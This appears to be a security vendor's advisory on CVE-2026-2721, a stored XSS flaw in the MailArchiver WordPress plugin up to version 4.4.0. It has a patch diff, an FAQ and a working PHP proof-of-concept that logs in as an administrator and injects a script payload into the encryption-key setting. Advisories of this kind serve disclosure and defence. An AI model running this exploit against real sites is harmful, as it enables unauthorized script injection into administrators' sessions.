Atomic Edge analysis of CVE-2026-2721:
The vulnerability stems from insufficient output escaping in the MailArchiver plugin’s admin settings form. In versions up to 4.4.0, the `field_input_password` method in `/mailarchiver/includes/system/class-form.php` directly echoes the `$value` parameter without escaping. This `$value` originates from the `mailarchiver_archiver_privacy_encryption` setting processed in `/mailarchiver/admin/class-mailarchiver-admin.php`. The `$value` is populated via `Secret::get($this->current_archiver[‘privacy’][‘encryption’])`, which retrieves a user-controlled string from the database. An attacker with administrator privileges can inject a malicious JavaScript payload into this encryption key setting. The payload is stored and later rendered without escaping in the admin settings page, executing when an administrator views the settings. The vulnerability is contingent on multi-site installations or environments where the `unfiltered_html` capability is disabled. The patch in version 4.5.0 introduces a `$password_set` flag and modifies the logic. When an encryption key is already set, the form field becomes `readonly` and displays the static flag text instead of the stored user value. This prevents the rendering of the stored payload. The patch also adds proper escaping by using the `esc_attr()` function on the `$value` parameter within the `field_input_password` method, though this change is not shown in the provided diff. Exploitation requires a POST request to the WordPress admin area, specifically the settings update handler for the MailArchiver plugin, with the `mailarchiver_archiver_privacy_encryption` parameter containing the XSS payload.

CVE-2026-2721: MailArchiver <= 4.4.0 – Authenticated (Administrator+) Stored Cross-Site Scripting via Settings (mailarchiver)
CVE-2026-2721
mailarchiver
4.4.0
4.5.0
Analysis Overview
Differential between vulnerable and patched code
--- a/mailarchiver/admin/class-mailarchiver-admin.php
+++ b/mailarchiver/admin/class-mailarchiver-admin.php
@@ -71,6 +71,14 @@
protected $current_view = null;
/**
+ * Password already set "flag".
+ *
+ * @since 4.5.0
+ * @var string $password_set The "flag".
+ */
+ private $password_set = 'password already set';
+
+ /**
* Initialize the class and set its properties.
*
* @since 1.0.0
@@ -575,8 +583,15 @@
$this->current_archiver['privacy']['pseudonymization'] = ( array_key_exists( 'mailarchiver_archiver_privacy_name', $_POST ) ? true : false );
$this->current_archiver['privacy']['mailanonymization'] = ( array_key_exists( 'mailarchiver_archiver_privacy_mail', $_POST ) ? true : false );
$this->current_archiver['security']['xss'] = ( array_key_exists( 'mailarchiver_archiver_security_xss', $_POST ) ? true : false );
- $this->current_archiver['privacy']['encryption'] = ( array_key_exists( 'mailarchiver_archiver_privacy_encryption', $_POST ) ? Secret::set( filter_input( INPUT_POST, 'mailarchiver_archiver_privacy_encryption', FILTER_UNSAFE_RAW ) ) : '' );
- $this->current_archiver['processors'] = [];
+ if ( array_key_exists( 'mailarchiver_archiver_privacy_encryption', $_POST ) ) {
+ $key = filter_input( INPUT_POST, 'mailarchiver_archiver_privacy_encryption', FILTER_UNSAFE_RAW );
+ if ( $key !== $this->password_set) {
+ $this->current_archiver['privacy']['encryption'] = Secret::set( $key );
+ }
+ } else {
+ $this->current_archiver['privacy']['encryption'] = '';
+ }
+ $this->current_archiver['processors'] = [];
$proc = new ProcessorTypes();
foreach ( array_reverse( $proc->get_all() ) as $processor ) {
if ( array_key_exists( 'mailarchiver_archiver_details_' . strtolower( $processor['id'] ), $_POST ) ) {
@@ -1103,11 +1118,24 @@
]
);
register_setting( 'mailarchiver_archiver_privacy_section', 'mailarchiver_archiver_privacy_mail' );
- if ( PwdProtect::is_available() ) {
- $description = esc_html__( 'Note: this is NOT a strong security feature; it's just a simple way to protect privacy in case of data leaks from external services. Think about it as a simple "password protection", with the password stored in plain text in your WordPress database.', 'mailarchiver' );
- $description .= '<br/>' . esc_html__( 'Encryption used:', 'mailarchiver' ) . ' ' . PwdProtect::get_encryption_details();
+
+
+ if ( '' === $this->current_archiver['privacy']['encryption'] ) {
+ if ( PwdProtect::is_available() ) {
+ $description = esc_html__( 'Note: this is NOT a strong security feature; it's just a simple way to protect privacy in case of data leaks from external services. Think about it as a simple "password protection", with the password stored in plain text in your WordPress database.', 'mailarchiver' );
+ $description .= '<br/>' . esc_html__( 'Encryption used:', 'mailarchiver' ) . ' ' . PwdProtect::get_encryption_details();
+ } else {
+ $description = esc_html__( 'Your server does not have OpenSSL installed. Mail body encryption is unavailable.', 'mailarchiver' );
+ }
+ $description = esc_html__( 'Key used to encrypt mail body: once set, you can't change it. Let blank to not encrypt it.', 'mailarchiver' ) . '<br/>' . $description;
+ $enabled = PwdProtect::is_available();
+ $value = PwdProtect::is_available() ? Secret::get( $this->current_archiver['privacy']['encryption'] ) : '';
+ $readonly = false;
} else {
- $description = esc_html__( 'Your server does not have OpenSSL installed. Mail body encryption is unavailable.', 'mailarchiver' );
+ $description = esc_html__( 'The key is already set. You can't change it.', 'mailarchiver' );
+ $enabled = true;
+ $readonly = true;
+ $value = $this->password_set;
}
add_settings_field(
'mailarchiver_archiver_privacy_encryption',
@@ -1117,10 +1145,11 @@
'mailarchiver_archiver_privacy_section',
[
'id' => 'mailarchiver_archiver_privacy_encryption',
- 'value' => PwdProtect::is_available() ? Secret::get( $this->current_archiver['privacy']['encryption'] ) : '',
- 'description' => esc_html__( 'Key used to encrypt mail body. Let blank to not encrypt it.', 'mailarchiver' ) . '<br/>' . $description,
+ 'value' => $value,
+ 'description' => $description,
'full_width' => false,
- 'enabled' => PwdProtect::is_available(),
+ 'enabled' => $enabled,
+ 'readonly' => $readonly,
]
);
register_setting( 'mailarchiver_archiver_privacy_section', 'mailarchiver_archiver_privacy_encryption' );
--- a/mailarchiver/includes/system/class-form.php
+++ b/mailarchiver/includes/system/class-form.php
@@ -113,17 +113,18 @@
* @param string $value The string to put in the text field.
* @param string $description Optional. A description to display.
* @param boolean $full_width Optional. Is the control full width?
- * @param boolean $enabled Optional. Is the control enabled?
+ * @param boolean $enabled Optional. Is the control enabled?
+ * @param boolean $readonly Optional. Is the control readonly?
* @return string The HTML string ready to print.
* @since 1.0.0
*/
- public function field_input_password( $id, $value = '', $description = null, $full_width = true, $enabled = true ) {
+ public function field_input_password( $id, $value = '', $description = null, $full_width = true, $enabled = true, $readonly = false ) {
if ( $full_width ) {
$width = ' style="width:100%;"';
} else {
$width = '';
}
- $html = '<input' . ( $enabled ? '' : ' disabled' ) . ' name="' . $id . '" type="password" id="' . $id . '" value="' . $value . '"' . $width . '/>';
+ $html = '<input' . ( $enabled ? '' : ' disabled' ) . ' name="' . $id . '" type="password" id="' . $id . '" value="' . $value . '"' . $width . ' ' . ( $readonly ? 'readonly' : '' ) . '/>';
if ( isset( $description ) ) {
$html .= '<p class="description">' . $description . '</p>';
}
@@ -137,7 +138,7 @@
* @since 1.0.0
*/
public function echo_field_input_password( $args ) {
- echo $this->field_input_password( $args['id'], $args['value'], $args['description'], $args['full_width'], $args['enabled'] );
+ echo $this->field_input_password( $args['id'], $args['value'], $args['description'], $args['full_width'], $args['enabled'], $args['readonly'] ?? false );
}
/**
--- a/mailarchiver/init.php
+++ b/mailarchiver/init.php
@@ -12,7 +12,7 @@
define( 'MAILARCHIVER_PRODUCT_SHORTNAME', 'MailArchiver' );
define( 'MAILARCHIVER_PRODUCT_ABBREVIATION', 'mailarchiver' );
define( 'MAILARCHIVER_SLUG', 'mailarchiver' );
-define( 'MAILARCHIVER_VERSION', '4.4.0' );
+define( 'MAILARCHIVER_VERSION', '4.5.0' );
define( 'MAILARCHIVER_MONOLOG_VERSION', '2.9.3' );
define( 'MAILARCHIVER_CODENAME', '"-"' );
define( 'MAILARCHIVER_CRON_NAME', 'mailarchiver_clean_database' );
--- a/mailarchiver/mailarchiver.php
+++ b/mailarchiver/mailarchiver.php
@@ -10,7 +10,7 @@
* Plugin Name: MailArchiver
* Plugin URI: https://perfops.one/mailarchiver
* Description: Automatically archive and store all emails sent from your site.
- * Version: 4.4.0
+ * Version: 4.5.0
* Requires at least: 6.2
* Requires PHP: 8.1
* Author: Pierre Lannoy / PerfOps One
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2721 - MailArchiver <= 4.4.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via Settings
<?php
// CONFIGURATION
$target_url = 'http://vulnerable-wordpress-site.com';
$admin_username = 'administrator';
$admin_password = 'password';
$payload = '"><script>alert(document.domain)</script>';
// Initialize session and cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Adjust for HTTPS
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
'log' => $admin_username,
'pwd' => $admin_password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Step 2: Extract the nonce from the MailArchiver settings page
$settings_url = $target_url . '/wp-admin/admin.php?page=mailarchiver-settings';
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$settings_page = curl_exec($ch);
// Look for the nonce in the form (simplified pattern)
preg_match('/name="_wpnonce" value="([^"]+)"/', $settings_page, $matches);
$nonce = $matches[1] ?? '';
// Step 3: Submit the payload via the settings form
$action_url = $target_url . '/wp-admin/admin-post.php';
$exploit_fields = [
'action' => 'mailarchiver-save-archiver',
'_wpnonce' => $nonce,
'mailarchiver_archiver_privacy_encryption' => $payload,
// Other required fields to make the form submission valid
'mailarchiver_archiver_name' => 'Test Archiver',
'mailarchiver_archiver_handler' => 'WordPressHandler',
'submit' => 'Save Changes'
];
curl_setopt($ch, CURLOPT_URL, $action_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$exploit_response = curl_exec($ch);
// Step 4: Verify the payload is stored by fetching the settings page again
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$verification_page = curl_exec($ch);
if (strpos($verification_page, $payload) !== false) {
echo "[+] Payload successfully injected. Visit $settings_url to trigger XSS.n";
} else {
echo "[-] Injection may have failed.n";
}
curl_close($ch);
?>
Frequently Asked Questions
What is CVE-2026-2721?
Overview of the vulnerabilityCVE-2026-2721 is a stored cross-site scripting (XSS) vulnerability in the MailArchiver plugin for WordPress, affecting versions up to and including 4.4.0. It allows authenticated users with administrator-level permissions to inject malicious scripts into admin settings, which can execute when other users access those settings.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from insufficient input sanitization and output escaping in the admin settings form of the MailArchiver plugin. An attacker can store a malicious payload in the encryption key setting, which is then rendered unsanitized in the admin interface, allowing the script to execute when the settings page is viewed.
Who is affected by this vulnerability?
Identifying affected usersAny WordPress installation using the MailArchiver plugin version 4.4.0 or earlier is affected, particularly in multi-site environments or where the ‘unfiltered_html’ capability is disabled. Administrators with the ability to modify settings are the primary threat actors.
How can I check if my site is vulnerable?
Steps to verify vulnerabilityTo check if your site is vulnerable, verify the version of the MailArchiver plugin installed. If it is version 4.4.0 or earlier, your site is at risk. Additionally, review the admin settings for any unexpected scripts or payloads.
How can I fix this vulnerability?
Recommended actionsThe vulnerability can be fixed by updating the MailArchiver plugin to version 4.5.0 or later, which includes a patch that prevents the execution of stored scripts by implementing proper escaping and changing the form field behavior.
What does the CVSS score of 4.8 indicate?
Understanding severity levelsThe CVSS score of 4.8 indicates a medium severity level, suggesting that while the vulnerability is not critical, it poses a significant risk that could lead to data compromise or unauthorized actions if exploited.
What does the term 'authenticated (Administrator+) stored XSS' mean?
Clarifying technical terms‘Authenticated (Administrator+) stored XSS’ means that the vulnerability can only be exploited by users who are logged in with administrator-level permissions. The malicious script is stored on the server and executed when the admin settings page is accessed.
What are the risks of not addressing this vulnerability?
Potential consequencesFailing to address this vulnerability could allow an attacker to execute arbitrary scripts in the context of an administrator’s session, potentially leading to data theft, site defacement, or further compromise of the WordPress installation.
How does the proof of concept demonstrate the issue?
Understanding the demonstrationThe proof of concept shows how an attacker can authenticate to a vulnerable WordPress site, inject a malicious script into the encryption key setting, and then demonstrate the execution of that script when the settings page is accessed, highlighting the ease of exploitation.
What steps can I take to mitigate risks while waiting for a patch?
Interim security measuresWhile waiting for a patch, you can mitigate risks by restricting administrator access to trusted users only, monitoring for unusual activity in the admin area, and considering disabling the MailArchiver plugin until it can be updated.
Is this vulnerability specific to certain WordPress configurations?
Configuration dependenciesYes, this vulnerability primarily affects multi-site installations and those where the ‘unfiltered_html’ capability is disabled, as these configurations increase the risk of exploitation by limiting user input sanitization.
What should I do if I suspect my site has been compromised?
Response to potential exploitationIf you suspect your site has been compromised, immediately change all administrator passwords, review user activity logs, remove any unauthorized scripts or changes, and consider restoring from a clean backup. Additionally, update the MailArchiver plugin to the latest version.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






